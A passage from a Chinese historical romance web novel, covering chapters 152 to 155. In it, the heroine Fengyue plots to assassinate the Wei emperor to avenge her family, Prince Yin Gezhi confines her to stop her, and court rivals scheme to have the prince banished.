摸摸鼻梁,风月也不扭捏,点头道:“我承认,以前是挺喜欢他的,甚至不要脸的事情没少干,但是那份感情,早淹死在关家流淌出的鲜血里了。我没法儿怪他恨他,可是也没法儿像从前那样爱他敬他,相互利用而已。等一朝事成,我与他注定是要成为仇敌,再也不见的。”
言清瞪眼,活像看个怪物似的看着她。
哪有女子这般狠心的?对别人狠心就罢了,她这分明是要跟人玉石俱焚同归于尽!
“别用这种眼光看着我。”抓抓脸,风月道:“这件事我一早就想通了,从看见他的第一眼开始就想通了。你们也不必担心我,我知道自己在做什么。”
她其实挺无耻的,按理说都回了魏国了,挨个找人算账的话,怎么也该把殷戈止算进去的,毕竟就算他无心,却也直接导致了关家的灾祸。
可是,想想殷戈止那变态的武功和深沉的心机,不是她怂,她只是不能再葬送自家兄弟的命。
就让他一个人好好活着好了,带着对她的恨和一辈子也报不了的仇,好好活着好了。
长叹一口气,言清将手里的拂尘往桌上一扔,很是无奈地坐下道:“我一贯不知道你在想什么,但是清越啊,别怪我没提醒你,孝亲王就算对他父皇有怨,也绝对不会坐视魏
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文帝被刺杀,所以你的计划,最好再搁置一段时间,仔细想想。”
风月沉默,跟着他在桌边坐下,盯着茶杯里的茶叶沉思了半晌,然后一脸严肃地问:“我要是去对孝亲王用美人计,你觉得有没有可能先放倒他,再进宫谋刺?”
言清看她的眼神顿时充满质疑:“三年多以前你都没能迷惑大皇子,现在是哪儿来的自信出此狂言?”
风月:“……”
不是她自信,是她不傻,她能感觉到殷戈止对她不一样,谁见过堂堂的殷大殿下弯腰下来亲吻个女人的?还是亲在她挡着嘴的手背上,怎么看怎么觉得古怪啊!也许殷戈止这种表面正经的人,内心就是不喜欢正儿八经的姑娘,偏生爱她这种风尘妖媚的呢?
“不过……”话锋一转,言清皱眉道:“要说三年前你没有迷惑住大皇子,那也不一定,毕竟这都快四年了,他一直在派人找我,要不是我人脉广躲得好,早被他挖出来了。他找我也不会有别的事情,当初在东宫办的差事,除了你那一件,别的都是记录在案的。要问别的,他不如去翻册子。”
也就是说,找了三年多的人,其实就是想知道,当初进东宫那个侍奉了半个月的女人是谁。
风月愕然,瞪着言清,有点不敢相信地指着自己的鼻子:“你是说,他一直在找我?”
“对啊。”很不优雅地白她一眼,言清摇头道:“那么多大家闺秀他没看上,怎么就看上你这么个粗鲁没规矩的?”
心口蓦地一热,风月张大了嘴,伸手抹了把脸。
这么多年了,她一直以为自己是单方面仰慕殷戈止,结果不得人欢心不说,还被人监斩了满门。想想都觉得自己可怜,一颗单纯无辜的春心捧出去,叫人摔碎了踩烂了扔回来。
如今突然发现,不是啊,不是她一个人在单相思,殷戈止,或者说是殷沉璧,三年前虽然一直对她冷漠,可心里,其实是给她留了个位置的?
对呀,那人外冷心热,一向寡言又冷着脸,年少不懂事的她便觉得那是不喜欢。现在回过头一看,任何送进东宫的女子,不管有没有被宠幸,都是只留一夜的。连续留了半个月的,可不就只有她一个?
咧了咧嘴,风月迎着言清古怪的眼神,嘿嘿笑道:“我不乐别的,就乐原来以前不是我一个人傻,这样我心里也好受些。”
当真是这样吗?言清摇头,人间自是有情痴啊,自己痴还笑别人痴!
笑着笑着,风月就笑不出来了,想想以后注定会发生的事情,她垂眸,沉默良久。
再度抬头,眼里就满是坚定,看着言清一本正经地道:“大人还是尽快安排我入宫吧。”
风从庭院里吹过,划上她的眉眼,打了个卷吹过院墙,吹得外头站着的人白衣烈烈。
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第152章 原来是你
魏国大皇子殷沉璧,五官随了先皇后,生得俊俏多情,但久经沙场,自成一股子铁血刚硬之气。世人皆知,殷沉璧薄情风流,从未将人放在心上,却没人知道,也曾有两个人闯进过他不喜迎客的心扉。
有青涩傲气不知名姓的女子,他寻之三年,辗转难忘。本以为一生要沉此无望相思,谁知道三年之后,有衣不蔽体的**妓子,扯着断裂的红绸,摔进他的怀里。
遇见风月的殷戈止是欢喜的,就算她背景颇深、来处不明、目的不清,可她很热闹,笑着闹着,予他饭菜温热、予他美人多情、予他烛光盈盈。大半年过去了,殷戈止觉得自己已经可以放下三年前那个人,不踏进梦回楼,不找言清,不用再问那人是谁、在哪里。
可是没想到,上天好像跟他开了个玩笑,院子里传来的话,他每个字都能听见,连在一起,倒是想不明白什么意思。
或者说,压根不愿意去想。
但,他的内功实在太过扎实,里头人说什么话,都听得如在耳侧:
“你当真不在乎,执意要进宫的话,那我替你安排。”叹息一声,言清站了起来:“我也不宜久留,就先告辞了,有什么需要的,让人传话就是。”
“有劳。”风月的声音里一点犹豫都没有,甚至还带着笑。
殷戈止垂眸,僵硬地挪动着身子,拽着观止一起隐到旁边的树林里去。
“主子!”离那院子远了,观止才敢呼气,这一声喊出来,却是带着颤音,脸抬起来,眼里也含了泪。
深信“男儿有泪不轻弹”的观止,从十五岁开始就没这么丢脸地哭过,可他实在做不出其他的反应,一看自家主子愈加平静的脸,他喉头上下滚动,眼泪跟石头似的一颗颗往下砸。
“你哭什么?”轻声开口,殷戈止声音空灵,双眼无神地看着他的方向问。
观止哽咽,抬袖擦着眼睛,只觉得喉头生疼:“风月……风月姑娘,竟然想刺杀圣上。”
他觉得难受啊,自家主子那么喜欢她,帮着她护着她,她在下这样的决定的时候,竟然一点也不考虑自家主子,仿佛根本没有考虑两个人的将来,压根没有想过要与自家主子有将来。
怎么能这样呢?两人在一起那么久了,虽说是互助互利,可感情也是半分不假的。主子今日来之前还说风月姑娘不善文笔,要写罪状还是得他来,面儿上没什么表情,心里却分明是惦着她想着她才来的,却没想到会发生这样的事。
那些话,他听着都觉得难受,主子会是个什么心情?
一想到这个,观止喉咙就再难成声。
听完他的话,殷戈止倒是笑了,轻轻勾着唇角,越想笑得越厉害,摇着头看着观止道:“你只想到这一点,就哭成了这样,那我,岂不是要哭倒几座城?”
被他这笑晃花了眼,观止愣了,连忙伸手扶着他:“主子?”
“没事。”殷戈止低声道:“我没事。”
只是心口的东西疼得厉害,让他看不清前头的路。
原来这么久了,他会爱上的,还是这个人。
原来三年前的相思咒没有消失,而是变成了死咒。
原来她曾爱过自己,只是以后,再也不会了。
心跳骤快,疼痛欲裂,没走两步路,他便半跪了下来,大口大口地喘着气,手指掐进地上的泥土里,指节泛白。
“主子!”观止慌了,连忙扶着他道:“我们回府!”
殷戈止低笑,被观止拉着胳膊扛起来,跟着他的步子往下走。
眼前泥石混乱,他有些茫然地想,风月这样的决定,要他怎么办呢?要他在她杀了皇帝之后手刃她?还是要他拦住她,让她含恨而终?
她心里干干净净的,已经没有他了,他的生与死、悲伤与绝望,统统与她没有关系,她只求自己心满意足,还愿赠他满怀痛苦。
可他不能,他舍不得她痛苦,更舍不得她死,就算她瞒了他这么久,就算她冷漠又薄情,他也舍不得。
路过树林下头的农家院子时,殷戈止终于停了下来。
观止目光惊恐地看着他。
言清已经走了,风月姑娘站在那院子的门口,像是在目送。一看见他们,脸色骤变,猛地冲了过来。
“王爷这是怎么了?”眨了眨眼,她有点慌乱地道:“进去坐会儿吧?”
要是平时,观止一定会觉得她这是关心自家主子,可一想背后的路上走着言清,他便了然了,头一次对风月冷声道:“不用姑娘操心,我会扶主子回去休息。”
“你这样扶着我还是很累。”沙哑着嗓子开口,殷戈止垂着眼眸道:“风月也来送我吧。”
心里一惊,风月压根不知道发生了什么事,只觉得眼前的殷戈止是她从未见过的虚弱无力,像是经历了一场大病,眼里那摄人的光都消失得没了痕迹,看起来像下雨天在外头流浪的狗,叫人心生不忍。
摸了摸自己的同情心,风月点头:“好,我去跟灵殊说一声。”
捏紧了殷戈止的手,观止眼带疑惑地看着他,后者眼里无波无澜,除了嘴唇发白,看起来竟然像无事了一般。
他在想什么?观止不明白,转眼风月就已经出来了,一手扯过主子的另一只胳膊,就扛在了自己肩上,斜眼睨着他道:“这样的王爷还真是难得一见,要是有画师在,该给您画下来以作纪念。”
殷戈止没吭声。
风月觉得有点古怪,不仅因为这人身上寒意竟然透过衣裳传到她肩上了,更因为观止一眼都不看她。因着灵殊的关系,观止对她一向不错,哪有像今日这般冷漠的时候?
挠挠头,风月突然有点怂:“要不,扶您到城门口上车,奴家就先回去了?他们还做了饭等奴家吃呢。”
殷戈止道:“好。”
然而,到了城门口,风月正要走,冷不防却被他一把抱上了车。
“王爷?”风月瞪眼。
殷戈止抬眼看她:“我想吃你做的饭。”
说这句话的时候,马车便已经动了轱辘往前走了。
气不打一处来,风月咬牙:“王爷,奴家现在不是您的丫鬟了。”
“嗯。”
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“那您还让奴家做饭?”
“我想吃。”
你怎么不想死啊?当真有点生气,风月掀开车帘就打算跳车,马跑得不快,跳下去也摔不死。
瞳孔微缩,殷戈止伸手就将她捞了回来,抱着人双手交叠扣着肩膀,低斥了一声:“你不要命,那给我!”
风月很想说,我扔了也不给你啊!可听得他微微有些发颤的声音,她眨眼,莫名地就老实了,扭头问了一句:“发生什么事了?”
“留在孝亲王府吧。”背后的人唇在她耳畔,声音沙哑,带着莫名的情绪道:“你留在孝亲王府,想做什么,我替你做。”
嘿,太阳打西边出来了?风月冷笑:“王爷不是说不帮奴家么?这上赶着带奴家去孝亲王府是什么意思?”
殷戈止没吭声,只将她搂得死紧。
心里一跳,风月突然有种不好的直觉,捏着拳头问了一句:“您今日是什么时候过来的?”
“……就刚刚你看见我的时候。”殷戈止低声道:“我刚到,路上走得急了,犯了心绞痛。”
是这样吗?松了手,风月想不明白了,是这样的话,他怎么非得带她去孝亲王府啊?
这个问题,等到跨进孝亲王府大门的时候,风月终于有了答案。
观止带着护卫关上了门,一向不喜人多的殷戈止,这回默许暗卫们统统出来站着,将四周院墙围死。她跟着他朝主院走,一路上很多家丁丫鬟,像是提前接到了什么命令,眼角余光都往她身上飘。
为了避免自己多疑,风月趁殷戈止不注意,拔腿就往后跑!
不出意料,没跑两步,她就被人架了回来。
“殷戈止。”不笑了,风月平静地抬眼看着他:“你是不是听见我跟言清说话了?”
别开头没有回答这个问题,殷戈止问:“你晚上想吃什么?”
“你打算关着我,不让我进宫?”
“刚送来的猪肉很新鲜,你要不要尝尝?可以做很多样式的菜。”
盯着他那半垂的眼帘,风月失笑,笑出了声:“何至于此啊王爷?您想同奴家过不去,直接杀了奴家就好了,关什么关呢?”
终于抬了眼,殷戈止平静地道:“你以为我不想杀吗?”
微微一震,风月皱眉,就看他朝自己前行一步,伸手轻轻抚上自己的脸。
“要是能杀,我绝对不会留你这祸害至今。”
可惜,她这一场赢得太漂亮,他输了,压根下不了手。
一股子火气冲上来,风月看着他道:“那多谢王爷高抬贵手了,只是不曾想这一路同行的情谊会断在这里,下次若有机会,奴家会杀了王爷的——奴家能杀。”
殷戈止闷笑,笑得胸腔微微颤抖:“那还是你厉害,关家女将军。”
“过奖了。”凌厉了眉眼,风月咬牙,一字一字地吐出来:“殷氏孝亲王。”
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第153章 天打雷劈
天色陡然阴沉,狂风呼啸,吹得院子站着的护卫和家丁都倒吸了一口凉气。
观止傻眼瞧着,就见这两人一个黑衣如夜,一个红衣似火,衣摆被风吹得偶尔碰在一处,人却像是隔了千山万水,再也难相逢。
怎么就……变成这样了呢?
有细雨飘落下来,染上人的眉眼。殷戈止微微抬头,突然想起很久以前的下雨天。
那个时候的风月笑得眼波潋滟,一把桃红的油纸伞撑在他头顶,拉着他非要去菜市场。
“我是大魏的皇子。”他道。
“嗯呐,奴家知道。您很威风,也很厉害。”
“所以呢?”还让他去买菜?
“所以……”踮着脚尖踩着水,风月突然转头看他,眼里波光动人,笑着道:“所以奴家喜欢您啊。”
一脚踩在水里,水花微微溅起,带了几轮涟漪。
那个时候的下雨天真好,即便走路染得衣摆上都是泥,他也觉得心里舒坦。面儿上什么表情都没有,可眼里却是真真切切映着这人明艳活泼的影子,以至于之后每逢雨天,他总能想起她那扭着腰笑得花枝乱颤的模样。
而现在,下雨了,眼前的人却不笑了,双眼平静,目光却跟带了刀子似的,他心跳一下,便被扎一下,疼得他笑出了声。
“罢了。”殷戈止垂眸:“下雨了,别在这儿站着了。”
风月冷笑,别了头没再看他,转身就往后院走。
“你去哪儿?”
“王爷不是要关我么?”风月道:“我自个儿选地方。”
自个儿选地方,就想离他远点,哪怕被关也被关远点?殷戈止垂眸,伸手就将人捞了回来。
“别人看着你,我不放心。”他低声道:“还是亲力亲为比较好。”
眼睛都红了,风月回头“吭哧”一口咬在他手臂上,半点力气没省,很清晰地感觉到牙齿撕开皮肉的声音,接着就有血腥味儿充盈鼻间。
这比刀割可疼多了,殷戈止却没吭声,低头看着她微微发抖的小脑袋,伸手摸了摸。
“滚!”风月是当真生气了,又生气又委屈,狠狠一脚踹在他小腿上,侧头啐了口血沫,跺着脚往主院走!
要是别人看守,她还会想办法逃出去。可被他看着,那就是绝望,灭顶的绝望!殷戈止不想让她杀皇帝,就算知道关苍海是被皇帝冤死的,就算知道皇帝自私昏庸独断专行,可那是他亲爹,他不能让她杀!
她其实可以理解,真的,各自有各自的立场,都是命数。但帮了她这么久,与她同行了这么久的人,突然站到了自己的对面要与自己为敌,她心里莫名地就觉得憋屈,止不住地眼睛发酸。
那是殷戈止啊!从吴国到魏国,从对付易国如到对付石有信都帮着她的人,在老爹棺材前头上过香的人,嘴上嫌弃她背地里一直替她收拾残局的人……哪怕是问问她的想法,来劝劝她也好啊,为什么,为什么偏偏是直接将她关起来?
主屋的门“嘭”地一声被关上,风月一点也不端庄地跌坐在地,蹬了蹬腿,突然嚎啕大哭,哭声跟孩子一样,歇斯底里,痛彻心扉。
殷戈止站在门外,双手紧握,脸色苍白。
天色渐晚,雨下得也愈加大,风月哭够了站起来的时候,就听得屋顶外头的天上“咔擦”一声巨响。
“轰——”巨大的雷声砸下来,当真让人体会到什么是五雷轰顶!
心里的郁结哭完了,本就畅快了不少,再加上天公作美,风月突然就乐了!打雷好啊,有人就该天打雷劈!
“姑娘。”观止的声音在门外响起:“您的晚膳。”
摸了摸肚子,的确有点饿,这个时候饿着自己可不是好事儿,风月立马开门,伸手就接过了观止手里的托盘。
结果就见殷戈止脸色惨白地站在门口,脸朝着她的方向,眼神涣散。
吓了一小跳,风月撇嘴:“观止,你把他搬走吧,放在这儿怪吓人的。”
黑了半张脸,观止道:“姑娘,这是我家主子的房间。”
风月:“……”
雷声大作,殷大王爷看起来状态很不好,活像马上要被吓**似的,精气神都没了。风月幸灾乐祸地想,要不就让他在外头站着,打一晚上的雷,明儿就能给他收尸,然后自个儿就能离开这儿了!
然而,在她想的时候,观止已经扶着人进房间了。
有点可惜地摇头,风月自顾自地坐下去吃饭,吃完了便洗漱一番,抱着被子躺在了主屋外室的软榻上。
头顶雷声时不时地响起,吵得风月左右翻身睡不着,正有些恼火,屋子里的灯却突然亮了。
微微一愣,风月侧头,就见殷戈止披着衣裳坐在桌边,手里拿着几张纸,嘴唇依旧是惨白,可神色镇定,看起来竟然没被雷声吓着。
奇怪地挑了挑眉,她有点不敢相信。先前那么怕打雷的人,现在居然不怕了?难不成以前都是装的?也不像啊。
不过现在他们已经是对立的仇人了,就算他行为诡异,她也不该好奇,别说打雷天起来看东西了,哪怕他脱光衣裳出去狂奔,她也不能在意!
摇摇头,风月翻了个身,闭眼就想努力睡着。
可是人吧,越想回避一件事,那件事就越会在脑海里徘徊不去。翻了几个身,风月最终还是坐了起来。
她实在很想知道,让殷戈止顶着雷声起来看的东西,会是什么?
桌边的人提了笔在写东西,盯着他看了一会儿,风月咬牙,踩着鞋就小心翼翼地挪过去看了看。
殷戈止完全没有回避她的意思,几张纸大大方方地铺开放在桌上,上头写的都是外面传进来的消息。
“廷尉失踪,朝野震惊,民间流传出其罪状,与贺兰监察使情况相似。”
“恶意煽动民情之人已经有数十入狱,一一审问,并无主谋,此事已上报丞相,还未惊动陛下。”
看起来反应不错啊,风月勾唇,照这样来看,只需有人开始追查廷尉的过失,那石有信就可以“畏罪自尽”了。
“贺兰长德**,新上任的监察使武泽是个心怀
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热血之人。”雷声轰鸣之中,殷戈止淡淡地道:“他会顺着这些风声开始审查石有信的过往。而石有信,有改**之意已久,想必背后没少**,查出来也是大罪。人可以交给你杀,但柴老夫人那儿要给交代,罪名便由我来定。”
翻了个白眼,风月嘲讽道:“都到这个地步了,您还装什么好人呢?”
殷戈止抬头,面无表情地看着她:“若是不服气,那你可以阻止我。”
“……”
王爷了不起呗,朝中有人了不起呗!风月耸肩:“您高兴就好,但别想我感激。”
“受不起。”别开头,殷戈止语气冷淡地道:“你我各走各路,只是你在我孝亲王府之中,恐怕是不能为所欲为了。”
“行。”气极反笑,风月点头:“您不就是不想让我杀魏文帝吗?那好,我不出去,魏文帝也迟早死在我手上!”
“关清越!”手紧了紧,殷戈止满眼寒霜地抬头看她:“你非得断了我们之间所有的生路,是吗?”
“我们之间的生路?”这七个字听得好笑,风月细腰扭动,又笑得花枝乱颤了:“从您出现在关家的监斩台上之时,我们之间所有的生路,不就已经断了吗?”
“难不成就因为您是皇室中人,所以您杀得我爹,我杀不得您父皇。您杀就有生路,我杀,就是生路全断?”
媚眼如丝,风月勾唇,涂了丹蔻的手指拂过自己的嘴角,摸了摸自己笑着的弧度,叹息道:“皇室可真是霸道啊!”
“轰隆”一声雷响在头顶,殷戈止白着脸闭上了眼。
已经全断了吗?
已经全断,那她又何必来招惹他?招惹得他以为她与他之间,并非死路。结果努力走了这么久,她却说,前头是没路的,您还在走什么呢?
哑然失笑,殷戈止摇头,深吸一口气,闭眼道:“你爹不是我杀的。”
“嗯,你爹杀的。”风月微笑:“那我找你爹报仇,有错吗?”
“风月。”有些头疼,桌边坐着的人头一次用近乎乞求的语气,沙哑着嗓子道:“咱们可以先不说这个吗?”
看他一眼,风月觉得自己的好奇心果然是不该有,跟他废什么话啊?还不如去睡觉!
想罢,起身,滚上床去就裹了被子,再也不看一眼身后。
屋子里的烛光亮了一宿,大雨也下了一宿,第二天观止打开门,就见自家主子坐在桌边,伸手拿着封信递给他:“送出去。”
主子起得真早啊,观止想,难不成是因为和风月姑娘在一起,所以睡得好了?
殷戈止睡得好不好不知道,但风月是睡得挺好的,虽然很气愤,可一觉睡下去梦都没做一个,早上起来精神百倍,还梳妆打扮了一番。
“主子。”
两人一起用早膳的时候,外头有家奴进来禀告:“石丞相求见。”
石鸿唯?
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第154章 孝亲王忤逆
他来干什么?
殷戈止放了筷子,低声道:“请他去旁边花厅坐坐。”
说罢,转头看向观止,嘴皮一翻就道:“看紧她。”
“是。”
风月翻了个白眼,继续吃自己的早膳,对石鸿唯不太感兴趣,毕竟跟她没什么关系。
的确没关系,人家是冲着殷戈止来的。
“王爷。”拱手朝殷戈止行礼,石鸿唯笑道:“老臣奉陛下之命,择了闺中女子数十名,来给王爷过目。”
一听这话,殷戈止连坐也不想坐,斜眼便道:“丞相要是为此事而来,那就不必多说了。”
他脸色不太好看,若是其他官员,此刻怕就是该跪下行礼,可石丞相脸色都没变,不慌不忙地道:“老臣来之前便知道劝不了王爷,故而连画像都没带。”
看了他一眼,殷戈止这才松了神色,坐下来问:“丞相还有别的事?”
微微拱手,石鸿唯笑道:“不知王爷可听闻京中传言?说是关苍海的冤魂归来了,要将曾害过他的人一一除去。”
不动声色地端起茶盏,殷戈止摇头:“此等荒谬之言,倒是未曾传到本王耳里。若当真有冤魂,为何偏要这么久之后才归来索命?”
“所以,老臣以为,近来京中发生的几件大事,并非冤魂索命,而是有人蓄意报仇。”石鸿唯抬眼,苍老的脸上一片严肃之色:“从王爷在福禄宫欲替关家翻案开始,与关家之案有牵连的人,便接二连三地出事。先是您指证的贺兰长德写‘昭罪状’下落不明,后是当年第一个上奏严惩关家的太尉赵旭获罪而死,如今,当年主审关家一案的廷尉石有信也失踪了,王爷不觉得很巧吗?”
果然是有风骨的老臣啊,这大清早的,竟然上门来质问他了?殷戈止淡然抿茶,轻轻将茶杯搁好,慢条斯理地道:“的确是挺巧的,丞相睿智,朝中如今人心惶惶,民间也是流言四起,却没人注意到此事,除了大人。”
瞳孔微缩,石鸿唯皱眉看着他:“王爷这是承认了?”
“承认?”茫然地抬头看他,殷戈止问:“本王承认什么了?”
目光犀利,石鸿唯一身正气地问:“难道发生的这么多事,都与王爷毫无干系吗?”
“您可有证据,证明本王与这些事情有关系?”目光坦然,殷戈止看着他道:“血口喷人不是个好习惯,丞相是两朝重臣,三公之首,说话更不能全凭自己的揣测。”
深深地看他一眼,石鸿唯垂眸:“这倒是老夫莽撞,没提前准备好证据。不过王爷,要是当真有证据,老臣可能便不会上门,而是直接在朝堂上与您相见了。”
眼里带了点嘲讽的意味,殷戈止颔首:“那本王就等着大人在朝堂上传本王问罪。”
话到这儿就说**,石鸿唯脸色不太好看,低着头朝殷戈止拱手,转身之间轻声说了一句:“您已经不是当年的大皇子了,王爷。”
殷戈止挑眉,手撑着下巴,淡淡回他一句:“那你们也可以露出真面目了,丞相。”
身子一顿,石鸿唯拂袖就离开了王府,乘车便进了宫。
魏文帝正坐在龙榻边喝药,皇后乖顺地服侍着,低声道:“您最近少操心些,御医都说了要好生养着,有什么事,就交给太子去做吧。”
“他?”咳嗽两声,魏文帝略微不屑地道:“他还接不了朕的玉玺。”
一听这话,皇后便有些不满了。当初殷沉璧不是太子都曾掌玉玺,处理过七日的国事,为什么沉玦这名正言顺的太子却接不了?那立他做太子干什么?
不满归不满,到底是凭自己本事爬上后位的人,皇后脸上依旧带着笑,拿帕子给皇帝擦着嘴角,温声软语地道:“太子不会的,陛下可以教啊,总归是要交到他手里的,难道陛下要眼看着魏国江山后继无人不成?”
先前说过,魏文帝是个极重权欲之人,任何惦记他手里权势的人,他都看不顺眼,哪怕是自己枕边的人,和自己亲生的儿子。
所以,一听这话,他冷笑了一声,推开皇后的手,阴阳怪气地道:“除了他,朕还有别的皇子。太子可立,也可废。”
这话说出来其实是想警告皇后,让她老实点别想着**,太子的废立权可都在他手里呢!然而,听在皇后耳朵里,那就不是这个意思了。
皇后脸都白了,忐忑不安地收回手,心沉得厉害。
殷沉璧回国,封亲王,本就对沉玦威胁甚大,如今这废太子的话竟然从皇帝嘴里说出来了,那就是把他们母子往绝路上逼啊!有殷沉璧在,沉玦的太子之位就不会稳当!她得想想办法才行了。
正想着呢,外头的太监就进来禀告:“陛下,丞相求见。”
“宣。”
石鸿唯脸色不太好看地进来行礼,抬头之时,眼帘也始终垂着:“老臣有事禀告。”
低头瞅了瞅他的脸色,魏文帝笑道:“何事让丞相大人这般不悦?”
“并非不悦,只是老臣觉得事态严重,再不禀明陛下,恐怕就晚了。”直接跪了下去,石鸿唯抖着嗓子道:“陛下明令孝亲王不许再查关家旧案,王爷的确没再追查,但……却是殃及池鱼,对当年与此案有关之人,统统下了毒手啊!”
魏文帝一惊,连忙起身走到他面前:“你说什么?”
从袖子里掏出一份折子,石鸿唯双手捧到皇帝眼前:“请陛下过目!”
这份折子是他去孝亲王府前就写好了的,上头将最近发生的事情与当年关家的旧案串联,指出有本事在澧都之中这般搅弄局势**官员的人,只能是孝亲王殷沉璧,顺便在结尾指出,孝亲王不会善罢甘休,一定会逼得皇帝亲自下旨翻案为止。洋洋洒洒几千字,配以各种修辞手法,加上端正大气的字体,看得魏文帝立马龙颜大怒。
“他反了吗!这是要反了吗!”气得直跺脚,魏文帝怒喝。
皇后吓了一跳,看了石鸿唯一眼,后者微微侧头,给了她一个“放心”的眼神。
这便是被文武百官称赞有气节的石丞相,
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连封明和殷戈止都被蒙蔽过,只当此人不涉事,不冤枉人,却不知他分明是一贯明哲保身,只有在动到了自己亲外甥的利益的时候,他才会站出来,咬上人一口。
当今皇后,乃是石鸿唯的胞妹。他的外甥,便是殷沉玦。
皇帝可没想到这一点,毕竟石鸿唯的为人上下都称赞有加,石有信在朝中,他都半点未曾偏私,在皇帝看来,他就是个秉公办事刚正不阿的人。所以这一份奏折看完,魏文帝压根不觉得他是在针对孝亲王,只觉得殷沉璧是当真恃宠而骄,太过分了!
“陛下。”皇后轻声道:“您别太生气了,当心身子。”
“有这么个逆子,你叫朕怎么不生气!”顺手将折子扔给她,皇帝坐在旁边直喘气。
皇后快速地将折子看了,眼珠微转,叹息道:“也许王爷是有什么难言之隐,并不是真的要忤逆圣上呢?陛下不妨先试探他一二,也免得父子之间生了嫌隙。”
一听这话,魏文帝觉得有道理,看向石鸿唯。
石鸿唯责备地看了皇后一眼,大概是觉得后宫不该干政,然后才一脸正气地拱手对魏文帝道:“若当真要试探,也简单,陛下送一名女子给王爷为妃即可。这等小事,按理说王爷不会忤逆,若是他受了,那也许只是针对关家之案,他对陛下有所忤逆,若是不受……那陛下就当真要小心了。”
想想觉得有道理,魏文帝当即就随便指了一家三品官员家的庶女,让身边的大太监送去孝亲王府。
殷戈止什么都不知道,正坐在院子里和风月大眼瞪小眼,冷不防的就见大太监带着个女人来,冲自己道:“王爷,这是皇上赐您的侧妃,您好生安置吧。”
这语气,就跟“这是一道皇帝赐您的菜,您吃了吧”一样轻松。
殷戈止皱眉,微微抬手,旁边的观止就将那大太监连着旁边的女人一起推出去关在了门外。
风月斜眼瞧着,嗤笑道:“咱们陛下真是有意思,不是自己的闺女,随意就送去别人的府上受辱。”
看她一眼,殷戈止道:“你不必吃醋,我不会收。”
风月:“……”
这位王爷是不是过于自信了?哪只眼睛看出她吃醋了?如今这情况,他不死才膈应她呢,她吃哪门子的醋?
嫌弃地看他一眼,风月扭头就走。
“你去哪儿?”殷戈止皱眉。
头也不回,风月气壮山河地吼:“撒尿!你要一起去吗!”
错愕地看着她的背影,殷戈止僵硬地垂眼,不吭声了。沉默了一会儿,倒是轻轻笑了笑。
哪有姑娘家这么粗鲁的?
这算是平静的下午发生的一件小事,风月和殷戈止都没有放在心上。然而,谁都没想到,这件小事却引起了惊涛骇浪,祸事如潮水一般,疯狂地朝孝亲王府席卷而来!
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第155章 风雨卷府
风月正在变着法儿地祈求天上劈道雷下来落殷戈止脑门上呢,一道圣旨就在响雷之前到来。“轰”地一声在孝亲王府炸开。
“奉天承运,皇帝昭曰:长子殷沉璧,文武双全,深得朕心,着封巡查使,前往巴山一带替朕体察民情,回报**。月底启程,不得有误。钦此。”
一众跪着的人都哗然,殷戈止也沉了脸色,抬头看着那大太监,没有伸手。
巴山凄凉之地,说得好听是去巡视,说难听些,就是流放吧。还说什么文武双全深得朕心,摆明了就是看他不顺眼了,找个由头远远打发了去。一旦离开澧都,他便再无本事插手关家一案。
目的他明白,但能下狠心让他流放,着实叫他意外。
“王爷,这份旨意,您也想抗了不成?”大太监抬着下巴俯视他,微微摇头:“圣上之威严,可不是能随意践踏的,哪怕是亲生的父子也一样。”
目光流转,殷戈止伸手接过圣旨,缓慢地朝前头叩拜下去:“儿臣谢父皇隆恩。”
躲在旁边的风月都震惊了,她知道魏文帝狠,可虎毒还不食子呢,他咬起自家儿子来,牙口怎么也这般利索?
魏国这半壁江山都是靠殷戈止守下来的,更别说他后头费尽心思引吴国与魏国联盟,为的也不过是保全魏国,这老皇帝倒好,一个不高兴,把人流放去巴山。
人的感情可不是能随意践踏的,哪怕是亲生的父子也一样。
那群太监走了,殷戈止站了起来,旁边的观止皱着眉,正要上来说话,却见自家主子顺手就将那明黄色锦缎裹着的圣旨给扔进了旁边的花盆里。
众人:“……”
微微倦怠地动了动脖子,殷戈止淡淡地道:“大概是离开太久了,以至于他觉得,无论怎么对我,我都没有反抗的力气了。”
观止一愣,接着就是一喜:“主子不打算去巴山?”
勾着薄唇露出一抹冷笑,殷戈止道:“父皇想让我游山玩水的好意,心领即可,我们还有事没办完。”
说着,侧头就瞧见了旁边躲着的风月。
风月眨眼,装作什么也没看见,转身就进了屋子。
她现在该想的是怎么跟外头的人联系上,管殷戈止的死活干什么?
魏文帝下的这道圣旨在朝中引发轩然大波,太子**极力赞成,其余人极力反对。此时的魏国正是用人之际,不留下孝亲王这样的栋梁,怎么反而把人流放出去?
石鸿唯站出来说话了:“孝亲王行事乖张忤逆,就算怀才,也难堪大用。”
一向不开口的丞相都说话了,反对的声音顿时少了些,可依旧是有。
瞧着这么多人支持孝亲王,皇后更是不安,拉着殷沉玦道:“你也该为自己好好谋算谋算了。”
殷沉玦惶恐,身边的门客便给了诸多建议,最后有个口齿伶俐的人说服了他,调动护城军,围堵孝亲王府。
孝亲王在皇帝那儿已经失宠,有皇后的枕边风和石鸿唯的谏言,皇帝对殷沉璧的戒心只会越来越重。就算他莫名其妙断了胳膊少了腿,想必皇帝也不会太在意。
殷沉玦是没有胆子杀自己的皇兄的,但他觉得,可以砍他一只手。自古残疾不为帝,只要他少一只手,那自己的太子之位就是稳固的,其余的皇子之中,再没有能撼动自己地位之人。
算盘打得是挺响的,但他手里没有兵权,唯一能用太子身份调动的,只有护城军。先前说过,殷沉玦这个人过于平庸,脑子也不太好使,听信门客的话,行事冲动,压根没有想过失败的话怎么办,就让廉恒在子时调兵围住孝亲王府。
殷戈止被人吵醒的时候,就见廉恒站在他的屋子里,表情分外凝重。
“殿下,少将。”他道:“二皇子命我围堵此处,人已经快赶来了。”
打了个呵欠,风月半睁着眼道:“他有病啊大半夜的,围堵这儿做什么?”
廉恒摇头:“不知。”
殷戈止披衣起身,手里捏了盏梅花灯,眉目慵懒地道:“很多事情只能在半夜做,那自然便会在半夜来,没什么稀奇的。瞧着他还有一会儿才能到,再睡会儿吧,不然又得折腾一宿。”
后半句是朝着风月说的,说完就回去继续躺下了,半点都不担心。
风月瞧着,心想这位主子都不急,那她有啥急的?于是跟着就倒下去继续睡。
廉恒愕然,看看内室又看看外头躺着的少将,满目惊恐。想了想,还是轻手轻脚地出去,带上了门。
殷沉玦本来是不想来的,奈何门客们说只有他亲自来才能镇住廉恒,让他不乱说话,于是殷沉玦就颤颤巍巍地来了。一路上都抓着旁边的人问:“当真围住了?大皇兄武艺高强,没反抗?”
“回殿下,没反抗,大概是廉统领将其制住了。”
廉恒这么厉害?殷沉玦放了点心,眼瞧着孝亲王府到了,便小心翼翼地下车往里走。
